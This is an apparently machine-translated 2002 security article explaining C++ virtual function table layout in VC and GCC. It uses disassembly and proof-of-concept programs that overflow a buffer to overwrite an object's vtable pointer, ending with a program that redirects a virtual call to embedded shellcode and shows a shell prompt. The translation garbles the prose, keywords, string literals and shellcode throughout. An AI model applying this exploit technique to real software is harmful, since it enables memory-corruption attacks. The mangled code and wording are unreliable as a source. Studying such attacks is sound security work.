◆ C override the virtual function pointer list execution code
Author: watercloud
Home: http://www.nsfocus.com
Date: 2002-4-15
table of Contents:
1. Static connection and dynamic cable of C
2. Spatial organization and overflow test of objects in VC
3. Spatial organization and overflow test of objects in GCC
4. Reference
<1> C in the static connection and dynamic association of the function
A large magic weapon in C is a virtual function, simply, is a function of the Virtual keyword definition.
Its feature is to support dynamic keratocation. Now that large software developed by C is almost inseparable from virtual functions.
Use, a typical example is that the virtual function is one of the cornerstones of the MFC.
There are two concepts that need to be explained first:
Static connection: Popular point is to determine the address of the call target when the program is compiled.
Dynamic Edge: The program run phase determines the address of the call.
The usual function calls in C are static, but the virtual key is added if the function is defined.
Word, and when the function is called by a pointer or reference, then this is a dynamic connection.
A simple example:
// Test.cpp
#include
Class Classa
{
PUBLIC:
Int Num1;
Classa () {Num1 = 0xffff;};
Virtual Void Test1 (Void) {};
Virtual void test2 (void) {};
}
Classa Obja, * pobja;
Int main (void)
{
POBJA = & obja;
Obja.test1 ();
Obja.test2 ();
POBJA-> TEST1 ();
POBJA-> TEST2 ();
Return 0;
}
Compile with VC:
Opening a command line directly in the command line to compile: (if you don't choose a registration environment when you install VC
Variables, then run a vc directory in the command line Bin / vcvars32.bat)
CL Test.cpp / fa
Generate Test.asm intermediate assembly code
Let's take a look at what is magazine in ASM, it is a bit long, you have to be patient!
Let's take a look:
Data definition:
_BSS segment
? Obja @@ 3vclassa @@ a dq 01h dup (?); Obja 64-bit
POBJA @@ 3PavClassa @@ a dd 01h dup (?); Pobja an address 32 bit
_BSS Ends
See which contents have been put on the Obja for 64, then look at the constructor:
_this $ = -4
?? 0classa @@ qe @ xz proc near; Classa :: classa () defines a variable _this?!
File Test.cpp
LINE 6
Push EBP
MOV EBP, ESP
Push ECX
Mov DWORD PTR _THIS $ [EBP], ECX; ECX assignment to _this ?? Do not understand??
Mov Eax, DWORD PTR _THIS $ [EBP]
Mov DWORD PTR [EAX], OFFSET FLAT: ?? _ 7classa @@ 6b @
; Classa :: `vftable '
The front part is the compiler plus Dong, our assignment is here
Mov ECX, DWORD PTR _this $ [EBP]
MOV DWORD PTR [ECX 4], 65535; 0xffff Num1 = 0xfffff ;; It seems that _this 4 is the address of NUM1
Mov Eax, DWORD PTR _THIS $ [EBP]
MOV ESP, EBP
POP EBP
Ret 0
?? 0classa @@ qae @ xz endp
That _this and mov dword ptr _this $ [EBP], ECX is relatively depressed, don't hurry
The constructor is adjusted:
_ $ E9 Proc Near
File Test.cpp
Line 10
Push EBP
MOV EBP, ESP
MOV ECX, Offset Flat:? Obja @@ 3vclassa @@ a
Call ?? 0classa @@ qae @ xz; call classa :: classa ()
POP EBP
Ret 0
_ $ E9 ENDP
Look, ECX points to the address of Obja, by assigning the value, that _this is the start address of Obja, in fact, in the Class
The non-static method compiler will automatically add a THIS variable, and put ECX at the beginning of the function
Assign the value to him, point to the address of the object that calls the method.
So what is the two lines in the constructor?
Mov Eax, DWORD PTR _THIS $ [EBP]
Mov DWORD PTR [EAX], OFFSET FLAT: ?? _ 7classa @@ 6b @
; Classa :: `vftable '
We already know _this saved for object addresses: & obja. So eax = & obja
Then it is equivalent to (* eax) = offset flat: ?? _ 7classa @@ 6b @
Let's take a look ?? _7classa @@ 6b @ is on the trich:
Const segment
?? _ 7classa @@ 6b @
DD flat:? Test1 @ Classa @@ uaexxz; Classa :: `vftable '
DD flat:? Test2 @ Classa @@ uaexxz
Const ends
It seems that this is the entrance address of the TEST1 (), TEST2 () function! So this assignment:
Mov DWORD PTR [EAX], OFFSET FLAT: ?? _ 7classa @@ 6b @
; Classa :: `vftable '
That is to fill in the address of such an address list in the start address of the object.
Ok, so I have seen Obja's construct:
| Low address |
------ ---> Obja start address & obja
| PVFTABLE |
-------- -------------------------
| NUM1 | NUM1 Variable Space |
------ ---> Obja's end address -> ------------ Address table VFTABLE
| High Address | | Test1 () address |
------------
| TEST2 () address |
------------
Let's take a look at the main function:
_Main Proc Near
LINE 13
Push EBPMOV EBP, ESP
LINE 14
MOV DWORD PTR? POBJA @@ 3PavcLassa @@ a,
OFFSET FLAT:? Obja @@ 3vclassa @@ a; pobja = & obja
LINE 15
MOV ECX, Offset Flat:? Obja @@ 3vclassa @@ a; ECX = this pointer
Point to the address of the caller
Call? Test1 @ Classa @@ uaexxz; obja.test1 ()
Obja.test1 () directly calls, has already determined the address
LINE 16
MOV ECX, Offset Flat:? Obja @@ 3vclassa @@ a
Call? Test2 @ Classa @@ uaexxz; obja.test2 ()
LINE 17
MOV EAX, DWORD PTR? POBJA @@ 3PavClassa @@ a; Pobja
MOV EDX, DWORD PTR [EAX]; EDX = VFTABLE
MOV ECX, DWORD PTR? POBJA @@ 3pavclassa @@ a; Pobja
Call DWORD PTR [EDX];
Call vftable [0], pobja-> test1 () look at the address is dynamic lookup;)
LINE 18
MOV EAX, DWORD PTR? POBJA @@ 3PavClassa @@ a; Pobja
Mov EDX, DWORD PTR [EAX]
MOV ECX, DWORD PTR? POBJA @@ 3pavclassa @@ a; Pobja
Call DWORD PTR [EDX 4]; POBJA-> TEST2 ()
; Call Vftable [1] and the entrance address of TEST2 () in vftable [1]
Line 19
XOR EAX, EAX
LINE 20
POP EBP
Ret 0
_Main ENDP
Ok, I believe that you have already impressed the dynamic association here.
<2> Spatial Organization and Overflow Test of Objects in VC
Through the above analysis, we can summarize the object space organizations as follows:
| Low address |
-------- -> Obja start address & obja
| PVFTABLE | --------------------->
-------- |
| Each member variable | | |
-------- -> Obja's end address -> ------------ Address table VFTABLE
| High Address | | Download Function 1 Address |
------------
| The address of the virtual function 2 |
------------
|................
It can be seen that if we can overwrite the PVTable and construct a dynamic association of your own vFtable table, we can change the program process!
Now make an overflow test:
Write a program first to see
#include
Class Classex
{
}
Int buff [1];
Classex Obj1, Obj2, * Pobj;
Int main (void)
{
COUT << Buff << ":" << & obj1 << ":" << & obj2 << ":" << & potj << endl;
Return 0;
}
Compiling the CL compile operation:
0x00408998: 0x00408990: 0x00408991: 0x00408994
The compiler puts the buff's address!
Replace the program to change the program, replace it when the variable is defined:
Classex Obj1, Obj2, * Pobj;
Int buff [1];
The result is still the same !! Will not be VC is to prevent this!
It seems that it is not easy to cover it;)
Only overflow OBJ2 over Obj1
//ex_vc.cpppp
#include
Class Classex
{
PUBLIC:
Int buff [1];
Virtual void test (void) {cout << "classsex :: test ()" << endl;};
}
Void Entry (Void)
{
Cout << "why a u here?!" << endl;
}
Classex Obj1, Obj2, * Pobj;
Int main (void)
{
POBJ = & obj2;
Obj2.test ();
INT VTAB [1] = {(int) entry}; // Constructing VTAB,
// entry address of Entry
Obj1.buff [1] = (int) vtab; //obj1.buff[1] is the Pvftable domain of Obj2
// This modified the address of the function pointer to VTAB
POBJ-> Test ();
Return 0;
}
Compile CL EX_VC.cpp
operation result:
Classex :: test ()
Why a u here?!
Test environment: VC6
Look at us to modify the program execution process ^ _ ^
Usually we can use Virtaul when programmed, but if we use BC / VC, etc., and use the manufacturer
The library, in fact, we have used a lot of virtual functions, and write the program later, a variable that does not pay attention
The assignment may have endless problems. // Start pondering a multi-system zone is also written by VC, will not ....
<3> Spatial Organization and Overflow Test of Objects in GCC
Just now, we have already analyzed many details under VC, then we will see if there is anything in GCC.
The same! Like the analysis method, it is written Test.cpp with gcc -s test.cpp to compile assembled files.
Test.s then analyze Test.s We can get something on many details.
We can see by analyzing:
The object address space structure in the GCC is as follows:
| Low address |
-------------- object start address
| | |
| Member Variable Space |
| | |
-------------
| pvftable | -----------> ------------------ VFTABLE
------------- | 0 || High address | ------------------
| Xxxxxxxx |
----------------
| 0 |
---------------
| Virtual function 1 Entry address |
----------------
| 0 |
---------------
| Virtual function 2 entry address |
----------------
|................
Haha, you can see that there is a very big advantage under GCC, which is the member variable in Pvftable.
In front, if you overflow member variables, you can override PVFTABLE, more convenient than VC!
To write an overflow test program:
//test.cpp
#include
Class Classtest
{
PUBLIC:
Long buff [1]; // size is 1
Virtual Void Test (Void)
{
COUT << "Classtest Test () << endl;
}
}
Void Entry (Void)
{
Cout << "why are u here?!" << endl;
}
Int main (void)
{
Classtest a, * p = & a;
Long addr [] = {0, 0, 0, (long) entry}; // Build virtual function table
// Test () -> entry ()
A.BUFF [1] = (long) addr; // overflow, operate virtual function list pointer
A.Test (); // Static connection, no things
P-> Test (); // Dynamic cable, to our function table to find the address,
/ / The result is called a call function entry ()
}
Compilation: GCC Test.cpp -Lstdc
Results of the:
Bash-2.05 # ./a.out
Classtest Test ()
Why are u here?!
Test program description:
The specific thing is GCC -S Test.cpp to generate Test.s, there is such a paragraph behind:
.section .gnu.linkonce.d._vt $ 9Classtest, "AW", @ progbits
.p2align 2
.Type _VT $ 9CLASSTEST, @ Object
.size _VT $ 9CLASSTEST, 24
_VT $ 9CLASSTEST:
.value 0
.value 0
.long __tf9classtest
.value 0
.value 0
.long test__9classtest ----------
.zero 8 |
.comm __ti9classtest, 8,4 |
|
|
Test () address <----
This is the content in its virtual function.
Test () address in the third (long) address space
So we construct Addr []:
Long addr [] = {0,0,0, (long) entry};
The address of the test () function is entry ()
P-> Test () ran to our build address table to take the address of the entry to run
Test Environment FreeBSD 4.4
GCC 2.95.3
Come to a true test:
By overflowing the PVFTable, the period is pointed to one of our own
VFTable, and let Vftable virtual function addresses point to our SHELLCODE
Thereby getting a shell.
#include
#include
Class classbase // Define a basic class
{
PUBLIC:
Char buff [128];
Void setBuffer (Char * S)
{
STRCPY (BUFF, S);
}
Virtual Void PrintBuffer (Void) {}; // virtual function
}
Class Classa: Public ClassBase
{
PUBLIC:
Void PrintBuffer (Void)
{
Cout << "name: << buff << endl;
}
}
Class Classb: Public ClassBase
{
PUBLIC:
Void PrintBuffer (Void)
{
COUT << "The text:" << buff << endl;
}
}
Char buffer [512], * PC;
Long * PL = (long *) buffer;
Long addr = 0xbfbffabc; // is & b ^ _ * on my machine
Char shellcode [] = "1 / xc0ph // shh / bint [PPSS4; / XCD / X80";
INT I;
Int main (void)
{
Classa a;
Classb B;
Classbase * classbuff [2] = {& a, & b};
A.setBuffer ("Tom");
B.SetBuffer ("Hello! This Is World of C );
For (i = 0; I <2; i ) // C in the customary method,
// A pointer of a basic class pointing to the upper layer class
// uses a virtual function of high-level class
ClassBuff [I] -> PrintBuffer (); // This is normal usage
COUT << & a << ":" << & b << Endl; // & b is the value of the above ADDR,
// If you do two values on your machine, change the addr value!
// Construct a special BUFF to give B.SetBuffer
// Construct a VFTable at the beginning
PL [0] = 0xAAAAAAAA; / / Fill 1
PL [1] = 0xAAAAAAAA; // Fill 2
PL [2] = 0xAaaaaaaa; // Fill 3
PL [3] = addr 16; // virtual function PrintBuffer entry address
// The location points to the shell code.
PC = Buffer 16;
STRCPY (PC, Shellcode);
PC = Strlen (shellcode);
For (; PC - Buffer <128; * pc = 'a'); // Fill
PL = (long *) PC;
* PL = addr; // Override Pvftable to point to the list B.setBuffer (buffer) of our constructed; // overflow.
// Again
For (i = 0; i <2; i )
ClassBuff [I] -> PrintBuffer (); // ClassBuffer [1] .printbuffer
// A shell is coming out.
Return 0;
}
Bash-2.05 $ ./a.out
Name: Tom
The text: Hello! This is World of C .
0xBFBFFB44: 0xBFBFFABC
Name:
$ ------ huh, success
Description:
Addr = & B is also & B.Buff [0]
B.setBuffer (buffer)
Just let B.Buff overflow, override 128 4 1 address.
The structure in the memory is as follows:
& b.buff [0] is also & b
^
|
|
[Fill 1 | Fill 2 | Fill 3 | Addr 16 | Shellcode | Fill | AddR | / 0]
____ ^ ___
| | | | |
| | | | |
| --- | |
| | | | |
-------------> 128 <-------------- |
|
This is the PVFTable item, which is overwritten to addR <---
Now the beginning of B.Buff [0] builds a virtual virtual
Function table, the entry address of the virtual function is the address of shellcode!
This article is just a guided text, there are still many
There is a detail mentioned, you need yourself to analyze.
As the saying goes, do yourself and eat food * _ &
Phrack56 # << smashing c vPTRS >>
Personal foolish, watch the ax!
__watercloud__
(Watercloud@nsfocus.com)
2002-4-15